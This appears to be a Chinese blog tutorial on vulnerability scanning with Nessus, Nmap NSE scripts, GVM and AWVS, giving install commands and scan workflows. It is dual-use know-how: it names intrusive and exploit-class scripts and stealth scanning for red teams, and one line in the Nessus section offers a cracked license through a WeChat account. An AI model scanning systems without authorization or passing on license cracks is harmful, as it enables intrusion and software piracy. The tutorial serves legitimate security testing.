&lt;h3 id="漏洞扫描核心总结"&gt;&lt;strong&gt;漏洞扫描核心总结&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-手动扫描与自动扫描的辩证关系"&gt;&lt;strong&gt;1. 手动扫描与自动扫描的辩证关系&lt;/strong&gt;
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;维度&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;手动扫描&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;自动扫描&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;优势&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;精准发现逻辑漏洞；绕过防护机制；隐蔽性高（适合红队）；对目标干扰小&lt;/td&gt;
 &lt;td style="text-align: center"&gt;快速覆盖大规模目标；建立安全基准；标准化漏洞验证（如CVE匹配）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;劣势&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;效率极低（难以处理大型目标）；高度依赖经验；易遗漏重复性漏洞&lt;/td&gt;
 &lt;td style="text-align: center"&gt;高误报/漏报率；难以发现复杂业务逻辑漏洞；攻击特征明显易触发告警&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;适用场景&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;关键系统深度测试、红队隐蔽渗透、漏洞二次验证&lt;/td&gt;
 &lt;td style="text-align: center"&gt;初筛阶段、合规性检查、周期性安全巡检&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;结论&lt;/strong&gt;: 二者非对立关系，应遵循 &lt;strong&gt;“先自动化广覆盖，后手工精准打击”&lt;/strong&gt; 的策略。渗透测试的核心价值在于 &lt;strong&gt;超越工具的人工分析能力&lt;/strong&gt;。&lt;/p&gt;
&lt;h4 id="2-互联网扫描-vs-内网扫描的关键差异"&gt;&lt;strong&gt;2. 互联网扫描 vs. 内网扫描的关键差异&lt;/strong&gt;
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;影响因素&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;互联网扫描&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;内网扫描&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;网络条件&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;带宽受限、高延迟、跳数多；防火墙/IPS严格过滤&lt;/td&gt;
 &lt;td style="text-align: center"&gt;高带宽、低延迟；内网设备可能老旧易崩溃&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;可见性&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;仅暴露面服务（ICMP/ARP常被阻断）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;全端口可见（可ARP发现主机）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;扫描策略&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;低速扫描（防触发警报）；优先非破坏性POC&lt;/td&gt;
 &lt;td style="text-align: center"&gt;可高速扫描；支持侵入式检测（需评估设备耐受性）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;操作要点&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;速度控制&lt;/strong&gt;：初始使用低速率扫描，验证结果质量后逐步提速。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;发现机制&lt;/strong&gt;：互联网目标需使用TCP SYN等替代ICMP/ARP。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;风险评估&lt;/strong&gt;：内网扫描警惕对老旧设备的DoS风险。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3-认证扫描-vs-非认证扫描的深度对比"&gt;&lt;strong&gt;3. 认证扫描 vs. 非认证扫描的深度对比&lt;/strong&gt;
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;层面&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;认证扫描&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;非认证扫描&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;原理&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;凭据登录系统（SSH/WMI），访问内部资源&lt;/td&gt;
 &lt;td style="text-align: center"&gt;纯网络发包探测，无系统权限&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;检测深度&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;补丁状态、注册表、配置文件、敏感文件（如Program Files）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;仅开放服务漏洞、Banner版本、弱口令等表层风险&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;准确性&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;误报率极低（直接验证漏洞存在性）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;误报率高（依赖版本特征猜测）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;配置挑战&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;Linux需SSH；Windows需破解UAC/WMI防火墙限制&lt;/td&gt;
 &lt;td style="text-align: center"&gt;开箱即用，无配置依赖&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;适用场景&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;认证扫描&lt;/strong&gt;：合规审计（如PCI DSS）、系统上线前深度检查。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;非认证扫描&lt;/strong&gt;：外部攻击面评估、应急响应快速筛查。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;: Windows环境需解决UAC限制，否则认证扫描可能失败。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;本章导读：&lt;/strong&gt;
本章将深入剖析漏洞扫描的技术原理、核心工作流程、主流工具（如Nessus, AWVS, Nmap, GVM等）的应用模式（重点探讨认证与非认证扫描的实施细节与场景选择），分析其优势与局限性（精度问题、版本识别挑战），并探讨如何有效评估扫描结果、管理误报/漏报，以及如何将自动化扫描与手工测试有机结合，构建高效、全面的安全评估体系。理解漏洞扫描的本质和最佳实践，是每一位安全从业者夯实基础、提升效率的关键一步。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="-nessus安装和使用"&gt;🛠️ Nessus安装和使用
&lt;/h2&gt;
 &lt;blockquote&gt;
 &lt;p&gt;官网下载链接：https://www.tenable.com/downloads/nessus?loginAttempted=true&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# 1. 更新系统
sudo apt update &amp;amp;&amp;amp; sudo apt upgrade -y

# 2. 下载Nessus .deb包（官网获取最新URL）
wget https://www.tenable.com/downloads/api/v2/pages/nessus/files/&amp;lt;最新版本&amp;gt;.deb

# 3. 校验文件完整性（需与官网SHA256匹配）
sha256sum Nessus-*.deb

# 4. 安装
sudo dpkg -i Nessus-*.deb

# 5. 启动服务
sudo systemctl start nessusd

# 6. 访问控制台
https://localhost:8834
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;后续配置&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;选择 &lt;strong&gt;Nessus Essentials&lt;/strong&gt; → 填写邮箱获取激活码 → 创建本地管理员账户&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;首次初始化需1小时+&lt;/strong&gt;（自动下载13万+插件库）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="image-20250725124645851" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725124645851.png"&gt;&lt;/p&gt;
&lt;h3 id="扫描核心操作流程"&gt;&lt;strong&gt;扫描核心操作流程&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-新建扫描"&gt;&lt;strong&gt;1. 新建扫描&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;&lt;img alt="image-20250725124704503" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725124704503.png"&gt;&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;&lt;strong&gt;扫描类型&lt;/strong&gt;&lt;/th&gt;
 &lt;th&gt;&lt;strong&gt;适用场景&lt;/strong&gt;&lt;/th&gt;
 &lt;th&gt;&lt;strong&gt;关键配置&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;基本网络扫描&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;常规漏洞探测&lt;/td&gt;
 &lt;td&gt;默认设置（仅扫公共端口）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;认证补丁审核&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;内网深度检测&lt;/td&gt;
 &lt;td&gt;需填SSH/Windows凭据&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;高级扫描&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;自定义漏洞检测&lt;/td&gt;
 &lt;td&gt;可禁用插件/指定端口&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="2-目标配置"&gt;&lt;strong&gt;2. 目标配置&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;格式&lt;/strong&gt;：IP/IP段/域名（例：&lt;code&gt;10.11.1.73&lt;/code&gt;）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;端口控制：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;路径：设置 → 发现 → 端口扫描
修改 &amp;#34;Port Scan Range&amp;#34;：0-65535（全端口）或指定端口（如111）
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3-认证扫描配置"&gt;&lt;strong&gt;3. 认证扫描配置&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;&lt;img alt="image-20250725124754167" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725124754167.png"&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;路径：凭据 → SSH
→ 认证方法：Password
→ 用户名：root
→ 密码：[目标密码]
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="4-单插件扫描"&gt;&lt;strong&gt;4. 单插件扫描&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;路径：插件 → 点击&amp;#34;全部禁用&amp;#34;
→ 展开分类（如RPC）→ 启用特定插件（如&amp;#34;NFS Exported Share Information Disclosure&amp;#34;）
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="5-结果分析"&gt;&lt;strong&gt;5. 结果分析&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;过滤高危漏洞&lt;/strong&gt;：点击&amp;quot;过滤器&amp;quot; → &lt;code&gt;可被利用 = true&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;关闭分组视图&lt;/strong&gt;：右上角齿轮 → 禁用分组&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;导出报告&lt;/strong&gt;：支持PDF/CSV/HTML格式&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="image-20250725124809830" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725124809830.png"&gt;&lt;/p&gt;
&lt;h3 id="操作避坑指南"&gt;&lt;strong&gt;操作避坑指南&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;资源警告&lt;/strong&gt;：全端口扫描需8GB+内存，避免扫描期间运行其他重负载任务&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;账户锁定&lt;/strong&gt;：在配置中关闭 &lt;strong&gt;&amp;ldquo;Brute Force&amp;rdquo;&lt;/strong&gt; 选项（路径：扫描策略 → 高级）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Windows认证失败&lt;/strong&gt;：确认目标开启WMI服务且防火墙放行135/445端口&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;插件更新&lt;/strong&gt;：定期执行 &lt;code&gt;sudo /opt/nessus/sbin/nessuscli update&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;破解：默认只能扫16个IP，破解请关注公众号回复本文开头的关键字获取。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2 id="-nmap漏洞扫描深度解析"&gt;🔍 &lt;strong&gt;Nmap漏洞扫描深度解析&lt;/strong&gt;
&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;核心机制&lt;/strong&gt;：
Nmap通过​&lt;strong&gt;​NSE脚本引擎​&lt;/strong&gt;​（Nmap Scripting Engine）实现漏洞扫描，700+个Lua脚本分为两类：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;vuln&lt;/code&gt;类&lt;/strong&gt;：漏洞检测（如&lt;code&gt;http-vuln-cve2017-5638&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;exploit&lt;/code&gt;类&lt;/strong&gt;：精简漏洞利用（如&lt;code&gt;smb-vuln-cve-2017-7494&lt;/code&gt;）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;⚠️ &lt;strong&gt;安全风险分级&lt;/strong&gt;（执行前必看）：&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;级别&lt;/th&gt;
 &lt;th&gt;特征&lt;/th&gt;
 &lt;th&gt;典型脚本&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;safe&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;仅信息收集&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;http-title.nse&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;intrusive&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;可能崩溃服务&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;http-slowloris.nse&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="-关键操作命令"&gt;🖥️ 关键操作命令：
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 查看所有漏洞扫描脚本
ls /usr/share/nmap/scripts | grep vuln

# 检查脚本功能（强烈建议使用AI解析）
nmap --script-help &amp;lt;脚本名&amp;gt; # 例如：nmap --script-help http-vuln*

# 安全扫描（仅用safe类）
nmap -sV --script &amp;#34;safe and vuln&amp;#34; &amp;lt;目标IP&amp;gt;

# 漏洞探测（vuln类脚本）
nmap -sV --script=vuln &amp;lt;目标IP&amp;gt;

# 精确调用指定脚本
nmap -sV --script=http-vuln-cve2021-41773 &amp;lt;目标IP&amp;gt;

# 扫描结果保存
nmap -sV -oX report.xml --script=vuln &amp;lt;目标IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250725115630496" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725115630496.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250725115845571" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725115845571.png"&gt;&lt;/p&gt;
&lt;h3 id="-脚本管理技巧"&gt;⚙️ 脚本管理技巧：
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 查看脚本分类（script.db数据库）
grep &amp;#39;categories&amp;#39; /usr/share/nmap/scripts/script.db

# 过滤高风险脚本（排除intrusive）
nmap --script &amp;#34;vuln and not intrusive&amp;#34; &amp;lt;目标IP&amp;gt;

# 更新NSE脚本库
sudo nmap --script-updatedb
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250725120027382" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725120027382.png"&gt;&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;📌 &lt;strong&gt;最佳实践&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;未知脚本必查：&lt;code&gt;nmap --script-help &amp;lt;脚本名&amp;gt;&lt;/code&gt; 或丢给AI解读&lt;/li&gt;
&lt;li&gt;生产环境先用 &lt;code&gt;--script-trace&lt;/code&gt; 预览探测行为&lt;/li&gt;
&lt;li&gt;高危操作前在测试环境验证&lt;/li&gt;
&lt;/ol&gt;

 &lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="-gvmgreenbone漏洞管理器部署指南"&gt;🛡️ &lt;strong&gt;GVM（Greenbone漏洞管理器）部署指南&lt;/strong&gt;
&lt;/h2&gt;&lt;p&gt;原为&lt;strong&gt;OpenVAS&lt;/strong&gt;，是Nessus的开源分支，提供企业级漏洞管理能力。&lt;/p&gt;
&lt;h3 id="-快速部署命令kali-linux"&gt;⚡ 快速部署命令（Kali Linux）：
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 安装组件
sudo apt update &amp;amp;&amp;amp; sudo apt install -y gvm*

# 初始配置（约15分钟，需联网）
sudo gvm-setup # 自动生成管理员账户

# 更新漏洞数据库（首次需20GB磁盘空间）
sudo gvm-feed-update

# 启动服务
sudo gvm-start # Web控制台：https://127.0.0.1:9392

# 验证安装
sudo gvm-check-setup # 显示各组件状态
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250725132405020" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725132405020.png"&gt;&lt;/p&gt;
&lt;h3 id="-常用操作"&gt;🖥️ 常用操作：
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 启动/停止服务
sudo gvm-start | sudo gvm-stop

# 重置管理员密码
sudo runuser -u _gvm -- gvmd --user=admin --new-password=&amp;lt;新密码&amp;gt;

# 手动更新数据库（每日执行）
sudo crontab -e # 添加：0 0 * * * sudo gvm-feed-update
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="-基础使用流程"&gt;🌐 基础使用流程：
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;访问 &lt;code&gt;https://localhost:9392&lt;/code&gt; → 用 &lt;code&gt;admin&lt;/code&gt; 和安装时生成的密码登录&lt;/li&gt;
&lt;li&gt;创建扫描任务：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;目标配置&lt;/strong&gt;：指定IP/域名范围&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;扫描策略&lt;/strong&gt;：选择 &lt;code&gt;Full and fast&lt;/code&gt;（平衡模式）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;认证设置&lt;/strong&gt;：添加SSH/Windows凭证提升扫描深度&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;导出报告：支持PDF/CSV/XML格式&lt;/li&gt;
&lt;/ol&gt;

 &lt;blockquote&gt;
 &lt;p&gt;💡 &lt;strong&gt;高级技巧&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;联动Nmap：将 &lt;code&gt;nmap -oX&lt;/code&gt; 生成的XML报告导入GVM分析&lt;/li&gt;
&lt;li&gt;定制策略：禁用暴力破解选项防账户锁定&lt;/li&gt;
&lt;li&gt;计划任务：设置每周全盘扫描 + 每日增量扫描&lt;/li&gt;
&lt;/ul&gt;

 &lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="-awvs-安装使用"&gt;🔍 &lt;strong&gt;AWVS 安装使用&lt;/strong&gt;
&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;Acunetix Web Vulnerability Scanner (AWVS)&lt;/strong&gt; 是全球顶尖的 &lt;strong&gt;Web 应用漏洞扫描器&lt;/strong&gt;，专注于自动化检测网站与 API 的安全漏洞。&lt;/p&gt;
&lt;h3 id="-核心特性"&gt;🔑 核心特性：
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;&lt;strong&gt;类别&lt;/strong&gt;&lt;/th&gt;
 &lt;th&gt;&lt;strong&gt;能力&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;扫描范围&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;SQL 注入、XSS、SSRF、JWT 漏洞、敏感信息泄露等 &lt;strong&gt;13000+&lt;/strong&gt; 漏洞&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;技术深度&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;支持现代 Web 技术（SPA、WebSocket、GraphQL 等）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;部署模式&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;支持本地安装（Windows/Linux）和云平台（Acunetix Online）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;合规性&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;满足 PCI DSS、HIPAA、ISO 27001 等安全标准&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;

 &lt;blockquote&gt;
 &lt;p&gt;📌 &lt;strong&gt;定位&lt;/strong&gt;：与传统网络扫描器（Nessus）互补，&lt;strong&gt;专精 Web 层漏洞挖掘&lt;/strong&gt;。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="-安装指南kali-linux"&gt;📥 &lt;strong&gt;安装指南（Kali Linux）&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="-前提条件"&gt;⚠️ 前提条件：
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;硬件&lt;/strong&gt;：≥4 核 CPU / 8GB RAM / 20GB 磁盘空间&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;系统&lt;/strong&gt;：Kali Linux 2023+（或 Ubuntu/Debian）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;授权&lt;/strong&gt;：需&lt;a class="link" href="https://www.acunetix.com/" target="_blank" rel="noopener"
 &gt;官网&lt;/a&gt;获取 &lt;strong&gt;14 天试用密钥&lt;/strong&gt;（或购买商业许可）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="-安装步骤"&gt;🛠️ 安装步骤：
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 1. 下载安装包（需注册官网获取下载链接）
wget https://dl.acunetix.com/acu/24.3/acuinstall.sh

# 2. 赋予执行权限
chmod +x acuinstall.sh

# 3. 安装依赖
sudo apt install -y libxcb-xinerama0 libxkbcommon-x11-0

# 4. 启动安装（默认端口：13443）
sudo ./acuinstall.sh --install-license YOUR_LICENSE_KEY

# 5. 访问控制台
https://localhost:13443
&lt;/code&gt;&lt;/pre&gt;
 &lt;blockquote&gt;
 &lt;p&gt;💡 &lt;strong&gt;重要提示&lt;/strong&gt;：首次登录需设置管理员邮箱与密码（保存至 &lt;code&gt;/var/lib/acunetix/.config&lt;/code&gt;）&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="-基础使用教程"&gt;🚀 &lt;strong&gt;基础使用教程&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-创建扫描任务"&gt;&lt;strong&gt;1. 创建扫描任务&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;目标配置&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;输入 URL（如 &lt;code&gt;https://example.com&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;启用 &lt;strong&gt;深度爬虫&lt;/strong&gt;（识别 SPA 动态内容）&lt;/li&gt;
&lt;li&gt;设置 &lt;strong&gt;认证登录&lt;/strong&gt;（支持 Cookie/表单/OAuth）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;扫描策略&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;&lt;strong&gt;模式&lt;/strong&gt;&lt;/th&gt;
 &lt;th&gt;&lt;strong&gt;特点&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;快速扫描&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;耗时短，仅查高危漏洞&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;全扫描&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;覆盖所有漏洞检测模块（推荐）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;自定义扫描&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;手动选择检测项（如仅查 API）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="2-扫描结果分析"&gt;&lt;strong&gt;2. 扫描结果分析&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;漏洞分级&lt;/strong&gt;：
🔴 ​&lt;strong&gt;​高危​&lt;/strong&gt;​（SQLi、RCE）→ 🟠 ​&lt;strong&gt;​中危​&lt;/strong&gt;​（XSS）→ 🟢 ​&lt;strong&gt;​低危​&lt;/strong&gt;​（信息泄露）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;利用验证&lt;/strong&gt;：
支持 ​&lt;strong&gt;​POC 重放​&lt;/strong&gt;​（验证漏洞真实性）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;报告导出&lt;/strong&gt;：
支持 PDF/HTML/XML（含修复建议）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3-高级功能"&gt;&lt;strong&gt;3. 高级功能&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;API 扫描&lt;/strong&gt;：导入 Swagger/Postman 文件&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;敏感数据监控&lt;/strong&gt;：实时检测 Git 泄露、密钥硬编码&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CI/CD 集成&lt;/strong&gt;：Jenkins/GitLab 插件自动化扫描&lt;/li&gt;
